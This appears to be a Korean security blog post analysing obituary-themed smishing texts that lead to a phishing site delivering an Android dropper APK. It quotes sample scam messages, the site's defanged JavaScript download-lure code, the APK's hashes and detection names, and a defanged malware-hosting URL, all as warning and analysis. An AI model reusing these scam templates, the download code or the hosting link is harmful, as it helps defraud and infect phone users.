꿈을꾸는 파랑새

오늘도 멀쩡하게 살아계시는 부모님이 돌아가셨다고 해서 부고 문자 돌리는 스미싱에 대해 알아보겠습니다.
존경하신 아버님께서 오랫동안 투병하시다 별세하셨음을 안애드립니다. 장례식장
[부고]아버님께서 숙환으로 금일 별세하셨기에 삼가 알려 드립니다 
선생님께서 숙환으로 1월11일 새벽2시 별세하셨기에 삼가 알려드립니다. 시간 장소
사랑하는 부친께서 금일 별세하였기에 삼가 알려듭립니다.장례식장
喪報 (상보)발인:05월2일[노환으로]아버님께 별세하셨기에 알립니다. 주소:
[Web발신] 쓰레기무단투기 신고접수 되었습니다. 내용확인:
[Web발신] 폐기물무단투기 신고접수 되었습니다. 내용확인
[*정부24] 음식물분리수거 위반으로 민원신고되었습니다. 내용확인
[Web발신](*정부24)법적기준초과로 민원접수 되셨습니다. 접수내용
한국 방문이 다가오고 있는데 아직 연락이 안 돼. 네가 필요해, 지금 내 새 LINE ID를 추가해
[국외발신]고객님[관세징수과]입니다.[수입세안내]924,699원장기체납/징수조치예정입니다.관세문의1522-0632
[민원 24] 도로관리부 잘못된 쓰레기 분류에 대한 처벌 고시.확인

부고 피싱 웹사이트
부고 피싱 웹사이트

여기서 해당 단축 주소를 풀어보면 다음과 같이 되는 것을 확인할 수가 있습니다.
이거나 요즈음 텔레그램 범죄 때문인지 텔레그램을 악용한 문자도 오고 있습니다.
[국외발신]Telegram회원님의 계정에서 비정상적인 활동이 감지되었습니다. 본인 인증을 완료해주시기 바랍니다.
2.9월 1일 22시에 아버지가 심장병으로 돌아가셨습니다. 세부사항을 확인하세요. hxxps://u2(.)to/vA???
3.[국제발신][우체국]주소불명으로 고객님의 상품은 배송할 수 없습니다.주소를 정확히 입력해 주세요.
4. 아버지는 어젯밤 집에서 뇌출혈로 돌아가셨습니다. 장례식장으로 보내기:
입니다.뭐~일단 단축 서비스인 u2(.)to 이용을 하는 것을 확인할 수가 있습니다.

해당 피싱 사이트 주소

u2(.)to/S7bf3Q
어머니께서 오늘 새벽3시경에 별세하셨습니다.시간과 장소:
u2(.)to/F4bhfOj ->hxxps://syn(.)munjnte(.)fyi/?=6e-ab0b-7237

접속을 하게 되어져 있으며 피싱 사이트에서는 부고 내용이 있지만 언제나 성의조차 없어서 그냥 대충 jpg 파일로 대체된 것을 웹 소스를 통해서 확인할 수가 있습니다.
저는 syn(.)munjnte(.)fyi/index(.)htm 피싱 사이트를 가지고 분석을 해보겠습니다.

부고 피싱 웹사이트 소스
부고 피싱 웹사이트 소스

피싱 사이트 내용

작별의 아픔
깊은 애도의 마음을 전합니다
본인의 부친꼐서 그동안 오랜 병중에 계시다가 어제 밤 돌아가셨습니다.
저희 가족들은 현재 많은 슬픔 가운데 있으며 어버님의 명복을 빌고 있습니다.
이후 장례절차는 아래와 같이 진행이 되므로 문상시 참소해 주시길 부탁드립니다.
인증서:Google Trust Services 무료 인증서를 사용을 하고 있습니다.
요즈음은 인증서를 Let's Encrypt에서 Google Trust Services 바뀐 것을 확인할 수가 있었습니다.
해당 이미지를 선택하면 장례식장 장소와 시간을 보려고 확인을 눌러주세요. 

이라고 나오고 여기서 네를 눌러주면 악성코드가 다운로드가 진행이 됩니다. 뉴스 같은 것을 보면 링크 눌리면 악성코드 다운로드 실행이 된다고 하는데 구글 안드로이드 OS 는 그렇게 허술하게 만들지 않았으며 그리고 사용자가

설령 해당 악성코드를 설치하려고 하면 구글 안드로이드는 한번 너~이것 공식 스토어 아니면 이것 설치하면 악성코드에 감염됨 나는 책임 없다고 물어볼 것입니다. 이것을 무시하고 설치를 하려고 하면 설치라는 단어를 보여 주면 설치하면 이제 그때부터 백신 프로그램이 탐지하면 삭제를 하세요 라고 하고 그 이전 내려받았을 때 탐지해서 삭제하라고 합니다. 개인적으로 ESET를 추천을 하고 싶네요.

부고 알림 문자 웹소스
부고 알림 문자 웹소스

아무튼, 다시 돌아와서 static/js/common(.)js?1222332233"
부분에 가보면 다음과 같이 악성코드 관련된 코드가 있는 것을 확인할 수가 있습니다.

function down(){
    if (window.confirm("장례식장 장소와 시간을 보기위하여 확인을 눌러주세요.")) {
        
        if (typeof window(.)chrome !== 'undef(i)ned') {
            $.get("/index/(g)et-info",function(json){
                if (json.data(.)name) {
                    const newTab = window(.)open('', '_parent');
                    const downloadLink = document(.)createElement('a');
                    downloadLink.href = json(.)data.url;
                    downloadLink.setAttribute('do(w)nload', jso(n)(.)data.name);
                    newTab.document(.)body(.)appendChild(downloadLink);
                    downloadLink(.)click();
                }else{
                    open('/index/down(-)app');
                }
                
            },'JSON');
        } else {
            open('/index/down(-)app');
        }
        // $.get("/index/down(-)app",function(json){
            
        //     if (json.data(.)url == "") {
        //         const newTab = window(.)open('', '_parent');
        //         const downloadLink = docu(m)ent.createElement('a');
        //         downloadLink.href = '/upload/apk/insert(.)apk';
                
        //         // const isChrome = /Chrome/.test(navigator(.)userAgent) && 
        /Google Inc/(.)test(navigator.vendor);
        //         if (typeof window.chrome !== 'unde(f)ined') {
        //           downloadLink.setAttribute('download', json.data(.)name+'(.)txt');
        //         } else {
        //           downloadLink(.)setAttribute('download', json.data(.)name+'(.)apk');
        //         }
        //         newTab.document.body(.)appendChild(downloadLink);
        //         downloadLink(.)click();
        //     }else{
        //         location.href = json.data(.)url;
        //     }
            
            
        // },'JSON');

코드 분석

해당 JavaScript 함수 down()는 웹사이트 사용자에게 특정 파일을 다운로드 하도록 유도하는 코드
전체 구조는 사용자가 파일 다운로드 를 원할 경우의 여러 시나리오를 처리하는 방식으로 작성되게 구성이 돼 있습니다.
함수 동작 분석
1. 사용자 확인창 (window(.)confirm)
먼저 window.confirm 메서드를 사용하여 장례식장 장소와 시간을 보려고 확인을 눌러주세요. 라는 메시지가 표시된 팝업을 표시하게 하며 사용자가 확인을 누르면 그다음 동작이 진행
2. 크롬 브라우저 감지 (window(.)chrome)
크롬 브라우저인지 확인하는 코드가 들어가 져 있으며 typeof window.chrome !== 'undefined'로 크롬 브라우저를 사용하는지 확인을 한 후 크롬이면 /index/get(-)info URL로 AJAX 요청을 보냄
3. AJAX 요청 및 응답 처리
서버로부터 응답이 오면 json(.)data(.)name 값이 있는지 확인 해당 값이 존재 하는경
새로운 탭을 열기 (window.open('', '_parent')).
a 태그를 동적으로 생성하여 다운로드 링크를 만들며 json(.)data.url 에 저장된 URL을 href로 설정하고 json(.)data.name 을 다운로드 파일 이름으로 설정
다운로드 링크가 클릭 되어 파일이 다운로드

피싱 사이트 인증서
피싱 사이트 인증서

만약 json.data(.)name이 존재하지 않는다며 /index/down(-)app URL로 이동하여 다른 페이지로 리디렉션
4. 구글 크롬 브라우저 아닌 경우
크롬이 아닌 경우 바로 /index/down(-)app URL로 리디렉션
5. 주석 처리된 코드
주석 처리된 부분에서는 /index/(d)own-app 으로 AJAX 요청을 보내는 추가 코드가 있음 해당 코드 역시 서버에서 JSON 데이터를 받아 다운로드를 처리하려는 내용이지만 활성화되어 있지 않음
window(.)chrome 확인을 통해 파일 확장자를 다르게 설정하는 코드도 포함되어 있으며 크롬 브라우저일 경우에는 (.)txt 확장자를 그렇지 않으면 (.)apk 확장자를 다운로드 파일로 설정하는 로직이 포함되어 있음
이렇게 악성코드를 다운로드 시도합니다.
부고 알림 악성코드 해쉬
파일명:5모바일부고장_(v17).apk
사이즈:3.20 MB
MD5:501ed0246aba0c4510878ce7407a2297
SHA-1:e67b117fbcd3d4480643ac5531c8e07d5729c1e4
SHA-256:52608f2fb12f5b1cb53213d363df397ff23f0072e5726c1e86c53a836f0def1a
2024-09-06 13:40:20 UTC 기준으로 탐지 하는 보안 업체들은 다음과 같습니다.
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Dropper.FRXD.Gen
BitDefenderFalx:Android.Riskware.SMSSend.aZY
DrWeb:Android.Packed.15.origin
ESET-NOD32:A Variant Of Android/TrojanDropper.Agent.LKS
Fortinet:Android/Agent.LOT!tr
Google:Detected
Ikarus:Trojan-Dropper.AndroidOS.Agent
Kaspersky:HEUR:Trojan-Dropper.AndroidOS.Badpack.e
Trustlook:Android.Malware.General (score:9)
WithSecure:Malware.ANDROID/Dropper.FRXD.Gen
ZoneAlarm by Check Point:HEUR:Trojan-Dropper.AndroidOS.Badpack.e
탐지 하고 있는 보안 업체들은 에베스트,카스퍼스키,아비라,닥터웹,이셋,구글 등 입니다.일단 국내 보안 업체들은 미탐지입니다. 일단 구글에서 탐지하고 있으니 문제는 없으리라 생각이 되지만 그래도 좋은 유료 백신 프로그램을 사용하는 것이 어떨까 개인적으로 생각합니다.샘플은 보내고 싶지만 일단 개인적으로 안드로이드 환경에서는 어베스트,이셋을 사용을 하고 있지만, 컴퓨터에서 사용하는 노턴 시만텍에서 탐지하고 있지 않아서 일단 신고를 했습니다. 다른 곳은 신고하기 귀찮아서~일단 기본적으로 단축 주소는 일단 무시하는 것이 좋으며 그리고 악성코드 유포 사이튼 다음과 같습니다.

hxxps://my(.)microsoftpersonalcontent(.)com/personal/c9ebf
deeb65b(6)fda/_layouts/15/download(.)aspx?UniqueId=2efa5b(b)
5-3e7f-4d72-b134-0a906(0)e68b23&Translate=false&(t)empauth=v1
e.eyJzaXRlaW(Q)iOiIwZmRkMGM2Ni01YzIxLTRiNGYtYWVjNi04NDYxY2Ey(M)2ZjN
zgiLCJhcHBpZCI6IjAwMDAwMD(A)wLTAwMDAtMDAwMC0wMDAwLTAwMDA0ODE3MTBhNC
IsImF1ZCI6IjAwMDAw(M)DAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9teS5
taWNyb3NvZnRwZXJzb25hbGNvbnRlbnQuY29tQDkxODgwNDBkLTZjNjctNGM1Yi1iMTE
yLTM2YTMwNGI2NmRhZCIsImV4cCI6IjE3MjU1(M)Tg5MjgifQ.2vJpTH8_u9Y-zJ(B)2
lT6qCHWqMx_AV8gQwIgQmiGqXbm(q)BiadqeyWc7Hy0xd_gJ_hhx65h(v)LZGsE2eu5J
UYRbytwOblP6W8c3sEL-94EXA8-pDYlEWtUNvHmgbGfuH2tLJoH2HB(_)Yis5kojaMZFA
9RXz-02hzXC(Z)dgYsuzsv3BdBdJPp86D7_1dehcYG_vnj(x)Q8vTHJvUKag63WCt-tYpB
wMvn5u(Y)bKS0xNfqRVP0WdDTozPkfvfOK(P)vAFgJtMXH4gimxdHlOiECDpsIqazNf6Bkd
(3)CacFyFWBA_cetk_kLH8(6)50bSY0O(L)-J-iTmq_Xn9o(M)P7HN-uP64DOu_pD3f9nGA
(W)xmst7rj2I-Dc(4)cKR75Ufnz_-u5iHx(J)4btITdHQ3olBeD(W)QexQoLpngvMLp48
yQ(.)MDkATRWFzkUoD_Txf(l)0sueIwGIHP4pmKTGG4_
j2r4uc&(A)piVersion=2(.)0&(A)VOverride=1

물론 해당 사이트는 대한민국 인터넷 정책에 의해서 사이트 차단이 되었지만, VPN을 사용하면 접속이 되기 때문에 주의가 필요할 것입니다. 즉 VPN을 이용하면 사이트 차단이 해제되어서 문제입니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band